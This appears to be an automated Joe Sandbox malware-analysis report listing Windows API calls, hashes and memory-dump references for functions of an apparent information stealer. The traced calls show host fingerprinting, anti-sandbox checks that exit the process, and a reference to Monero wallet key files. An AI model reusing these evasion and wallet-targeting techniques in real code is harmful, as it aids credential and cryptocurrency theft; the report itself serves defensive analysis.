Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

Part of subcall function 00BA7500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00BA7542
Part of subcall function 00BA7500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00BA757F
Part of subcall function 00BA7500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BA7603
Part of subcall function 00BA7500: RtlAllocateHeap.NTDLL(00000000), ref: 00BA760A

Part of subcall function 00BAA920: lstrcpy.KERNEL32(00000000,?), ref: 00BAA972
Part of subcall function 00BAA920: lstrcat.KERNEL32(00000000), ref: 00BAA982

Part of subcall function 00BA7690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BA76A4
Part of subcall function 00BA7690: RtlAllocateHeap.NTDLL(00000000), ref: 00BA76AB

Part of subcall function 00BA77C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,00BADBC0,000000FF,?,00BA1C99,00000000,?,0063D9A0,00000000,?), ref: 00BA77F2
Part of subcall function 00BA77C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,00BADBC0,000000FF,?,00BA1C99,00000000,?,0063D9A0,00000000,?), ref: 00BA77F9

Part of subcall function 00BA7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00B911B7), ref: 00BA7880
Part of subcall function 00BA7850: RtlAllocateHeap.NTDLL(00000000), ref: 00BA7887
Part of subcall function 00BA7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00BA789F

Part of subcall function 00BA78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BA7910
Part of subcall function 00BA78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00BA7917
Part of subcall function 00BA78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00BA792F

Part of subcall function 00BA7980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00BB0E00,00000000,?), ref: 00BA79B0
Part of subcall function 00BA7980: RtlAllocateHeap.NTDLL(00000000), ref: 00BA79B7
Part of subcall function 00BA7980: GetLocalTime.KERNEL32(?,?,?,?,?,00BB0E00,00000000,?), ref: 00BA79C4
Part of subcall function 00BA7980: wsprintfA.USER32 ref: 00BA79F3

Part of subcall function 00BA7A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0063DF30,00000000,?,00BB0E10,00000000,?,00000000,00000000), ref: 00BA7A63
Part of subcall function 00BA7A30: RtlAllocateHeap.NTDLL(00000000), ref: 00BA7A6A
Part of subcall function 00BA7A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0063DF30,00000000,?,00BB0E10,00000000,?,00000000,00000000,?), ref: 00BA7A7D

Part of subcall function 00BA7B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0063DF30,00000000,?,00BB0E10,00000000,?,00000000,00000000), ref: 00BA7B35

Part of subcall function 00BA7B90: GetKeyboardLayoutList.USER32(00000000,00000000,00BB05AF), ref: 00BA7BE1
Part of subcall function 00BA7B90: LocalAlloc.KERNEL32(00000040,?), ref: 00BA7BF9
Part of subcall function 00BA7B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00BA7C0D
Part of subcall function 00BA7B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00BA7C62
Part of subcall function 00BA7B90: LocalFree.KERNEL32(00000000), ref: 00BA7D22

Part of subcall function 00BA7D80: GetSystemPowerStatus.KERNEL32(?), ref: 00BA7DAD

GetCurrentProcessId.KERNEL32(00000000,?,0063D800,00000000,?,00BB0E24,00000000,?,00000000,00000000,?,0063E140,00000000,?,00BB0E20,00000000), ref: 00BA207E

Part of subcall function 00BA9470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00BA9484
Part of subcall function 00BA9470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00BA94A5
Part of subcall function 00BA9470: CloseHandle.KERNEL32(00000000), ref: 00BA94AF

Part of subcall function 00BA7E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BA7E37
Part of subcall function 00BA7E00: RtlAllocateHeap.NTDLL(00000000), ref: 00BA7E3E
Part of subcall function 00BA7E00: RegOpenKeyExA.KERNEL32(80000002,0062BFD8,00000000,00020119,?), ref: 00BA7E5E
Part of subcall function 00BA7E00: RegQueryValueExA.KERNEL32(?,0063D840,00000000,00000000,000000FF,000000FF), ref: 00BA7E7F
Part of subcall function 00BA7E00: RegCloseKey.ADVAPI32(?), ref: 00BA7E92

Part of subcall function 00BA7F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00BA7FC9
Part of subcall function 00BA7F60: GetLastError.KERNEL32 ref: 00BA7FD8

Part of subcall function 00BA7ED0: GetSystemInfo.KERNEL32(00BB0E2C), ref: 00BA7F00
Part of subcall function 00BA7ED0: wsprintfA.USER32 ref: 00BA7F16

Part of subcall function 00BA8100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0063DEE8,00000000,?,00BB0E2C,00000000,?,00000000), ref: 00BA8130
Part of subcall function 00BA8100: RtlAllocateHeap.NTDLL(00000000), ref: 00BA8137
Part of subcall function 00BA8100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00BA8158
Part of subcall function 00BA8100: __aulldiv.LIBCMT ref: 00BA8172
Part of subcall function 00BA8100: __aulldiv.LIBCMT ref: 00BA8180
Part of subcall function 00BA8100: wsprintfA.USER32 ref: 00BA81AC

Part of subcall function 00BA87C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00BB0E28,00000000,?), ref: 00BA882F
Part of subcall function 00BA87C0: RtlAllocateHeap.NTDLL(00000000), ref: 00BA8836
Part of subcall function 00BA87C0: wsprintfA.USER32 ref: 00BA8850

Part of subcall function 00BA8320: RegOpenKeyExA.KERNEL32(00000000,0063B048,00000000,00020019,00000000,00BB05B6), ref: 00BA83A4

Part of subcall function 00BA8320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00BA8426
Part of subcall function 00BA8320: wsprintfA.USER32 ref: 00BA8459
Part of subcall function 00BA8320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00BA847B
Part of subcall function 00BA8320: RegCloseKey.ADVAPI32(00000000), ref: 00BA848C
Part of subcall function 00BA8320: RegCloseKey.ADVAPI32(00000000), ref: 00BA8499

Part of subcall function 00BA8680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00BB05B7), ref: 00BA86CA
Part of subcall function 00BA8680: Process32First.KERNEL32(?,00000128), ref: 00BA86DE
Part of subcall function 00BA8680: Process32Next.KERNEL32(?,00000128), ref: 00BA86F3
Part of subcall function 00BA8680: CloseHandle.KERNEL32(?), ref: 00BA8761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 00BA265B

Strings

Xc, xrefs: 00BA20EB
c, xrefs: 00BA2498
@c, xrefs: 00BA1FDA

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID: c$@c$Xc
API String ID: 3113730047-3433219532
Opcode ID: 89b1726a01f4573aef1e888881b1e59a091b2679eef3fbb9a3949ce86a6be51f
Instruction ID: f8efccc97c5d4bc78d7a0db0e2f9ec0ea832b2fd9f82a120ee4b744c73ef550f
Opcode Fuzzy Hash: 89b1726a01f4573aef1e888881b1e59a091b2679eef3fbb9a3949ce86a6be51f
Instruction Fuzzy Hash: 4E726C72C14118AADB59FB90DC92EEE73BCAF15300F5182E9B11772091EF742B49CA76

Function 00BA69F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA9860: GetProcAddress.KERNEL32(74DD0000,00632278), ref: 00BA98A1
Part of subcall function 00BA9860: GetProcAddress.KERNEL32(74DD0000,00632230), ref: 00BA98BA
Part of subcall function 00BA9860: GetProcAddress.KERNEL32(74DD0000,00632308), ref: 00BA98D2
Part of subcall function 00BA9860: GetProcAddress.KERNEL32(74DD0000,006324D0), ref: 00BA98EA
Part of subcall function 00BA9860: GetProcAddress.KERNEL32(74DD0000,00632368), ref: 00BA9903
Part of subcall function 00BA9860: GetProcAddress.KERNEL32(74DD0000,00638FF8), ref: 00BA991B
Part of subcall function 00BA9860: GetProcAddress.KERNEL32(74DD0000,00625B30), ref: 00BA9933
Part of subcall function 00BA9860: GetProcAddress.KERNEL32(74DD0000,00625DD0), ref: 00BA994C
Part of subcall function 00BA9860: GetProcAddress.KERNEL32(74DD0000,00632398), ref: 00BA9964
Part of subcall function 00BA9860: GetProcAddress.KERNEL32(74DD0000,00632320), ref: 00BA997C
Part of subcall function 00BA9860: GetProcAddress.KERNEL32(74DD0000,00632410), ref: 00BA9995
Part of subcall function 00BA9860: GetProcAddress.KERNEL32(74DD0000,00632458), ref: 00BA99AD
Part of subcall function 00BA9860: GetProcAddress.KERNEL32(74DD0000,00625BF0), ref: 00BA99C5
Part of subcall function 00BA9860: GetProcAddress.KERNEL32(74DD0000,00632440), ref: 00BA99DE

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00B911D0: ExitProcess.KERNEL32 ref: 00B91211

Part of subcall function 00B91160: GetSystemInfo.KERNEL32(?), ref: 00B9116A
Part of subcall function 00B91160: ExitProcess.KERNEL32 ref: 00B9117E

Part of subcall function 00B91110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00B9112B
Part of subcall function 00B91110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00B91132
Part of subcall function 00B91110: ExitProcess.KERNEL32 ref: 00B91143

Part of subcall function 00B91220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00B9123E
Part of subcall function 00B91220: __aulldiv.LIBCMT ref: 00B91258
Part of subcall function 00B91220: __aulldiv.LIBCMT ref: 00B91266
Part of subcall function 00B91220: ExitProcess.KERNEL32 ref: 00B91294

Part of subcall function 00BA6770: GetUserDefaultLangID.KERNEL32 ref: 00BA6774

Part of subcall function 00B91190: ExitProcess.KERNEL32 ref: 00B911C6

Part of subcall function 00BA7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00B911B7), ref: 00BA7880
Part of subcall function 00BA7850: RtlAllocateHeap.NTDLL(00000000), ref: 00BA7887
Part of subcall function 00BA7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00BA789F

Part of subcall function 00BA78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BA7910
Part of subcall function 00BA78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00BA7917
Part of subcall function 00BA78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00BA792F

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00638F78,?,00BB110C,?,00000000,?,00BB1110,?,00000000,00BB0AEF), ref: 00BA6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00BA6AE8
CloseHandle.KERNEL32(00000000), ref: 00BA6AF9
Sleep.KERNEL32(00001770), ref: 00BA6B04
CloseHandle.KERNEL32(?,00000000,?,00638F78,?,00BB110C,?,00000000,?,00BB1110,?,00000000,00BB0AEF), ref: 00BA6B1A
ExitProcess.KERNEL32 ref: 00BA6B22

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 21167b4559afabbca657c36144fbb13e6b55251a2c2622247a3a61dabd16da9e
Instruction ID: 01dc5f2e1ed7db20ffbe0bac430fe26d4db0172fa7a0d21778070982d70823e1
Opcode Fuzzy Hash: 21167b4559afabbca657c36144fbb13e6b55251a2c2622247a3a61dabd16da9e
Instruction Fuzzy Hash: 75313C70908209ABDB44FBF4DC56BFE77F8AF06340F5085A9F212A2192DF746905C6B2

Function 00B999C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B999EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B99A11
LocalAlloc.KERNEL32(00000040,?), ref: 00B99A31
ReadFile.KERNEL32(000000FF,?,00000000,00B9148F,00000000), ref: 00B99A5A
LocalFree.KERNEL32(00B9148F), ref: 00B99A90
CloseHandle.KERNEL32(000000FF), ref: 00B99A9A

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 8c770de4d5af68a91bdc3dd7625955f3b6bb86fc3bb425929a67f4c447c4b821
Instruction ID: c70d5485edd25402a21eb9f765c35849c7e2633c383ba886167933d5ed31ead7
Opcode Fuzzy Hash: 8c770de4d5af68a91bdc3dd7625955f3b6bb86fc3bb425929a67f4c447c4b821
Instruction Fuzzy Hash: 6031D3B4A00209EFDF14CF98C985BAE77F5FF48340F1081A9E915A7290D778AA41CFA1

Function 00BA4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0063E2C0), ref: 00BA47DB

Part of subcall function 00BA8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00BA8E0B

lstrcat.KERNEL32(?,00000000), ref: 00BA4801
lstrcat.KERNEL32(?,?), ref: 00BA4820
lstrcat.KERNEL32(?,?), ref: 00BA4834
lstrcat.KERNEL32(?,0062B630), ref: 00BA4847
lstrcat.KERNEL32(?,?), ref: 00BA485B
lstrcat.KERNEL32(?,0063D9C0), ref: 00BA486F

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BA8D90: GetFileAttributesA.KERNEL32(00000000,?,00B91B54,?,?,00BB564C,?,?,00BB0E1F), ref: 00BA8D9F

Part of subcall function 00BA4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00BA4580
Part of subcall function 00BA4570: RtlAllocateHeap.NTDLL(00000000), ref: 00BA4587
Part of subcall function 00BA4570: wsprintfA.USER32 ref: 00BA45A6
Part of subcall function 00BA4570: FindFirstFileA.KERNEL32(?,?), ref: 00BA45BD

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 408865aa1518e764f1162ec9794aafe17965a27ae562a382a1c81ad36543bfa8
Instruction ID: 453130739617abe8fe3b616e8685014c34f0537a1c789d9eb21f9e56f74db79b
Opcode Fuzzy Hash: 408865aa1518e764f1162ec9794aafe17965a27ae562a382a1c81ad36543bfa8
Instruction Fuzzy Hash: 8E3192B2D00308A7CB10FBB0DC85EEE73BCAB58700F4045D9B75996091EEB49789DBA5

Function 00B91220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00B9123E
__aulldiv.LIBCMT ref: 00B91258
__aulldiv.LIBCMT ref: 00B91266
ExitProcess.KERNEL32 ref: 00B91294

Strings

@, xrefs: 00B91233

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
